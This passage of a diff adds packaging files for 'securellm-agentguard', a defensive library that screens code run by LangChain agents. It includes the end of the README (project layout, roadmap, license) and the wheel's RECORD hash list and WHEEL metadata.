+ │ │ ├── ast_validator.py # Layer 1: Static AST analysis
203
+ │ │ └── network_filter.py # Layer 2: Network domain filter
204
+ │ ├── judges/
205
+ │ │ └── gemini_judge.py # Layer 3: Gemini semantic judge
206
+ │ └── tools/
207
+ │ └── langchain_tool.py # SafePythonREPLTool (LangChain BaseTool)
208
+ ├── tests/ # Pytest suite (mocked LLM for Layer 3)
209
+ ├── examples/
210
+ │ ├── basic_agent.py # Simple agent + AgentGuard demo
211
+ │ └── threat_intel_demo.py # Threat analysis agent demo
212
+ ├── pyproject.toml # Poetry config + metadata
213
+ ├── .github/workflows/ci.yml # GitHub Actions CI
214
+ └── README.md
215
+ ```
216
+
217
+ ---
218
+
219
+ ## 🗺️ Roadmap
220
+
221
+ - [x] 3-layer security pipeline (AST + Network + Semantic Judge)
222
+ - [x] LangChain `BaseTool` integration
223
+ - [x] Sandboxed execution with safe builtins
224
+ - [x] Timeout enforcement
225
+ - [x] GitHub Actions CI
226
+ - [ ] **Logging & Audit Trail** — structured logs of every blocked/allowed execution
227
+ - [ ] **Dashboard UI** — web dashboard to visualize security events in real-time
228
+ - [ ] **Rate Limiting** — limit the number of code executions per minute
229
+ - [ ] **Plugin System** — custom validator layers via a simple interface
230
+ - [ ] **PyPI Publication** — `pip install securellm-agentguard` from the public index
231
+ - [ ] **LangSmith Integration** — trace security events in LangSmith
232
+
233
+ ---
234
+
235
+ ## 🤝 Contributing
236
+
237
+ Contributions are welcome! Please read [CONTRIBUTING.md](CONTRIBUTING.md) first.
238
+
239
+ ## 🔐 Security
240
+
241
+ Found a vulnerability? Please read [SECURITY.md](SECURITY.md) for responsible disclosure instructions.
242
+
243
+ ## 📄 License
244
+
245
+ MIT — see [LICENSE](LICENSE).
246
+
247
+ ---
248
+
249
+ *Built by [Thomas LEON](https://linkedin.com/in/thomas-leon) · Emerging Technologies & AI Security*
250
+
@@ -0,0 +1,13 @@
1
+ agentguard/__init__.py,sha256=D0alKmbCWmOqVWtPCyZf_iyflNjnjYl8w1nr0KtSjTw,424
2
+ agentguard/exceptions.py,sha256=tj7-Drhzs9Mt4C-tCwvgBUkApUM0g_rVbrT-QdnL5mc,852
3
+ agentguard/judges/__init__.py,sha256=4Ty8D3zvXTtYJ66JCosbrNIUQikOGdlhQ4BJ3MPGdp8,109
4
+ agentguard/judges/gemini_judge.py,sha256=l7IJtdxL2Df-DEPYj3I5WSQARHbNRZmTMONO640Uf7E,2326
5
+ agentguard/policy.py,sha256=0nGNOkOKvAj2EvTwM8ZHSYhmvL65QctpiPMWJQPIiCk,1606
6
+ agentguard/tools/__init__.py,sha256=JEf3YOVi3nwWcl8m35ECBlIPUWKWidhu7OvZjpjjY70,119
7
+ agentguard/tools/langchain_tool.py,sha256=37kG3gJDhwTde0m5ZZUgC_hJipV0K3I836DXNeC1PdQ,9851
8
+ agentguard/validators/__init__.py,sha256=R0KQy8M9t_WQbyTPW3SiQcQf-thfnMREjrL1xb51LDM,196
9
+ agentguard/validators/ast_validator.py,sha256=ZjD3TkpzXuKavf-qtfPnjv7ZqGs6vYQBbadJlwDlH-E,3445
10
+ agentguard/validators/network_filter.py,sha256=DFXPTZ0rbCvJZvXWwxrB1F2_UK8uqNruBcnPQiAm6so,4608
11
+ securellm_agentguard-0.1.0.dist-info/METADATA,sha256=yJc-_9ANuqjm8rWVJjnZSDt83xZVce5G6Iho9irxO4s,9189
12
+ securellm_agentguard-0.1.0.dist-info/WHEEL,sha256=eY7nduwzv-ldUxpzbRlxwvC693Hg6PX8bWDjEHjZ_dk,88
13
+ securellm_agentguard-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: poetry-core 2.4.1
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any